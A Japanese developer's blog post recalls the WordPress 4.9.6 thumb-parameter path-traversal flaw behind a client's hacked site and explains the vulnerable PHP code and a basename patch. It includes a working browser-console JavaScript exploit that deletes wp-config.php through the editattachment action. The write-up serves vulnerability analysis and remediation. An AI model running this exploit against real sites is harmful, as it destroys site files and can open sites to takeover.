クライアントからサポート対象外の古いWPサイトがハッキング被害にあったと連絡があった。
その WP のバージョンは 4.9.6 だった。
すっかり忘却の彼方だったが、WP 4.9.6 には editattachment アクションの thumb パラメーターがサニタイズされていないから、なんでもできちゃう脆弱性があった。
デフォルトでは投稿者以上の権限でメディアファイルを触れるので(まあ投稿者以上を自由に触らせるサイトなんてほとんどないと思うが)、ソーシャル系だったので、一応危ういアカウントはないかを確認しつつ、昔の思い出をここに記載する。

どのようにしたらやばいのか

メディアの編集画面でディベロッパーツールでスクリプトを実行するとやばいことになる。
具体的には下記のように editattachment と削除したいファイルをパラメーターに付与する。

var nonce = document.getElementById("_wpnonce").value
var id =  document.location.search.match(/post=(\d+)/)[1]
var data = "action=editattachment&_wpnonce=" + nonce + "&thumb=../../../../wp-config.php"

var xhr = new XMLHttpRequest()
xhr.open("POST", "/wp-admin/post.php?post=" + id)
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')
xhr.onreadystatechange = function() {
  var READYSTATE_COMPLETED = 4

  if (this.readyState == READYSTATE_COMPLETED) {
   var nonce = document.getElementsByClassName("submitdelete deletion")[0].getAttribute("href").match(/_wpnonce=(.*)/)[1]
   var data = "action=delete&_wpnonce=" + nonce

   var xhr = new XMLHttpRequest()
   xhr.open("POST", "/wp-admin/post.php?post=" + id)
   xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')
   xhr.send(data)
  }
}
xhr.send(data)

// 参考
// https://qiita.com/ionis_h/items/fb016f9201e2d2858fdb

なぜ上記のコードが危険だったのか

攻撃対象の /wp-include/post.php は下記のようになっていた。

function wp_delete_attachment( $post_id, $force_delete = false ) {
	⋮
	$meta = wp_get_attachment_metadata( $post_id );
	⋮
	if ( ! empty($meta['thumb']) ) {
		// Don't delete the thumb if another attachment uses it.
		if (! $wpdb->get_row( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE meta_key = '_wp_attachment_metadata' AND meta_value LIKE %s AND post_id <> %d", '%' . $wpdb->esc_like( $meta['thumb'] ) . '%', $post_id)) ) {
			$thumbfile = str_replace(basename($file), $meta['thumb'], $file);
			/** This filter is documented in wp-includes/functions.php */
			$thumbfile = apply_filters( 'wp_delete_file', $thumbfile );
			@ unlink( path_join($uploadpath['basedir'], $thumbfile) );
		}
	}
	⋮
}

上記の wp_delete_attachement() 関数では、コンテンツはサニタイズを受けずに $meta[‘thumb’] への呼び出しで unlink() される。
このコードの目的は、画像のサムネイルを削除と同時に削除することで、WordPressのメディアマネージャーを介してアップロードされた画像は、添付ファイルタイプの投稿として表される。
$meta[‘thumb’] はデータベースから取得され、画像を表す投稿のカスタムフィールドとして保存される。
そのため、サムネイルのファイル名を表す値は、サニタイズまたはチェックを受けていない。

また /wp-admin/post.php は下記のようになっており、こちらもサニタイズされていない。

⋮
switch($action) {
⋮
	case 'editattachment':
		check_admin_referer('update-post_' . $post_id);
		⋮
		// Update the thumbnail filename
		$newmeta = wp_get_attachment_metadata( $post_id, true );
		$newmeta['thumb'] = $_POST['thumb'];

		wp_update_attachment_metadata( $post_id, $newmeta );

解決方法

この脆弱性に対しては、下記のようなパッチが配布されていた。
単純に basename 関数でサニタイズするだけである。

add_filter( 'wp_update_attachment_metadata', 'rips_unlink_tempfix' );

function rips_unlink_tempfix( $data ) {
    if( isset($data['thumb']) ) {
        $data['thumb'] = basename($data['thumb']);
    }

    return $data;
}

結論

基礎が大切。